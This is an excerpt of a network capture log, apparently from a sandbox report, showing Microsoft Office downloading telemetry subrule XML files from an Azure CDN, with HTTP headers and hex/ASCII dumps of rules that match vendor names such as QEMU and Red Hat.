20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	62896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:09 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:09 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 19dd884a-801e-00a3-03cd-2a7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162709Z-17c5cb586f6ks725u50g36qts800000001sg00000000m2dw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	62898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:09 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:09 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: e138989b-f01e-003f-497f-2ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162709Z-17c5cb586f64sw5wh0dfzbdtvw00000001zg000000007ddq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:09 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	62897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:09 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:09 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1d33856d-201e-000c-0612-2979c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162709Z-17c5cb586f6z6tq2xr35mhd5x000000002f0000000000v0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:09 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	62899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:10 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:10 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162710Z-16849878b78wc6ln1zsrz6q9w800000009gg000000007559 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:10 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	62900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:10 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bf07d5f0-e01e-0020-6ed9-2ade90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162710Z-17c5cb586f64sw5wh0dfzbdtvw000000020g000000004w9x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	62901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:10 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:10 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:10 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162710Z-16849878b78bjkl8dpep89pbgg00000008c000000000wxnm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:10 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	62902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:10 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:10 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162710Z-16849878b78q9m8bqvwuva4svc00000008c0000000005449 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:10 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	62903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:10 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:10 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 045b9726-001e-0014-4db7-2a5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162710Z-17c5cb586f6f98jx9q4y7udcaw000000016g00000000pxs0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	62904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:11 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:11 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: e6885a93-401e-0078-5ec2-2a4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162711Z-159b85dff8fsgrl7hC1DFWadan00000002e00000000083sm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:11 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	62905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:11 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:11 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 9f581369-601e-00ab-15c9-2a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162711Z-16849878b78km6fmmkbenhx76n000000093000000000k26m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 16:27:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	62906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:11 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 37a25f3a-c01e-00ad-392a-2ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162711Z-17c5cb586f62bgw58esgbu9hgw00000002m0000000000t9s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	62907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:11 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:11 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162711Z-16849878b785dznd7xpawq9gcn0000000b5000000000ep0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
